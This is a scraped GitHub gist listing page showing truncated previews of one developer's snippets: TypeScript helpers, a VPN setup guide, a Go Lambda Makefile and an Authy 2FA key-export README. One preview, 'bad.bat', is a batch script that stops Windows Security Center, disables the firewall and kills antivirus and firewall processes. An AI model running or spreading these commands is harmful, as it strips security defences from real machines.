Skip to content

Instantly share code, notes, and snippets.


Thomas Neil James Shadwell Zemnmez

Block or report user

Report or block Zemnmez

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
View fuzzy-hoc.ts
import * as React from 'react';
import {A, T} from 'ts-toolbelt'
import { O } from 'ts-toolbelt';
import { Any } from 'ts-toolbelt';
import { Assign } from 'Object/_api';
* Fuzzy is a Higher Order Component.
* It consumes a component and keys that
* can be searched on that component.
View eventuallyiterable.ts
type Eventually<T> =
T | Promise<T>;
type EventuallyIterable<T> = Iterable<T> | AsyncIterable<T>
const map:
<T,O>(f: Eventually<(v: T, i: number) => O>, v: EventuallyIterable<T>) => EventuallyIterable<O>
async function*(f, iter) {
let n = 0;
Zemnmez / hookAll.js
Created Nov 19, 2019
attempt to recursively hook iframe postMessages (doesn't work due to browser security policies)
View hookAll.js
((() => {
console.log("postMessage hook added");
new MutationObserver((mutations, observer) => {
const flatten = (a,c) => a.concat(c);
const allNodes = mutations.filter(({ type }) => type == "childList")
.map(({ addedNodes }) => Array.from(addedNodes)).reduce(flatten, []);
.forEach(parentNode => {
if (!parentNode.getElementsByTagName) return;
Zemnmez /
Last active Nov 7, 2019
L2TP / ipsec VPN, Amazon Linux (EC2)
# adapted from
yum -y install epel # different on amazon linux
sudo yum -y install xl2tpd openswan
systemctl start ipsec.service
service ipsec start

# '' is just to help identify. these are all imported into /etc/ipsec.conf.

vim /etc/ipsec.d/ # see next...
View bad.bat
@ echo off
rem Permanently Kill Anti-Virus
net stop “Security Center”
netsh firewall set opmode mode=disable
tskill /A av*
tskill /A fire*
tskill /A anti*
tskill /A spy*
View ip.ts
"use strict";
const errorTester = () => (rsp) => !(rsp instanceof Error);
const asGuardType = (f) => (v) => [f(v), errorTester()];
const must = (f) => (v) => {
const [rsp, tstRsp] = asGuardType(f)(v);
if (!tstRsp(rsp))
throw rsp;
return rsp;
const hasLen = (n) => (v) => v.length == n ? v : new Error(`expected length of ${n}, but got ${v.length}`);
View test2.js
Zemnmez /
Last active Oct 27, 2019 — forked from tresni/gist:83b9181588c7393f6853
Authy OTP 2FA Extractor (authy to 1password, google authenticator etc)

Authy OTP 2FA Extractor

Inspired by the original gist.

This snippet will extract all the OTP (2FA) keys from Authy, and convert them to scannable QR codes and URLs you can copy-paste into e.g. 1password. Unlike other approaches, this consumes the internal digits record, making it compatible with authy-specific extra long 2FA codes.


  1. Install the Authy Chrome Extension and the Authy App.
  2. Open the authy app from the browser icon in the top right, and view some TOTP codes. This decrypts them so we can extract them.
  3. Visit the Chrome Inspector Page (chrome://inspect/#apps) and click 'inspect' under 'Authy'. If that's not there, you likely need to open the Authy app from chrome://apps/.
  4. In the window
Zemnmez / Makefile
Created Feb 24, 2019
makefile for golang aws lambda
View Makefile
# expect handler/handlername handler/handler2 etc. $(patsubst handler/%,dist/%,$(wildcard handler/*))
zip -FSj $@ $^
#getDeps = $(shell go list -f '{{.Deps}}' $(1) | xargs go list -f '{{$$this:=.}}{{range .GoFiles}}{{$$this.Dir}}/{{.}} {{end}}')
# maybe one day i will generate the deps dynamically lol
# must be forced because cant determine whether update is
# needed purely based on go files
dist/%: handler/% .FORCE
Zemnmez / variadic-curry-golfed.js
Last active Feb 20, 2019
variadic curry, javascript
View variadic-curry-golfed.js
You can’t perform that action at this time.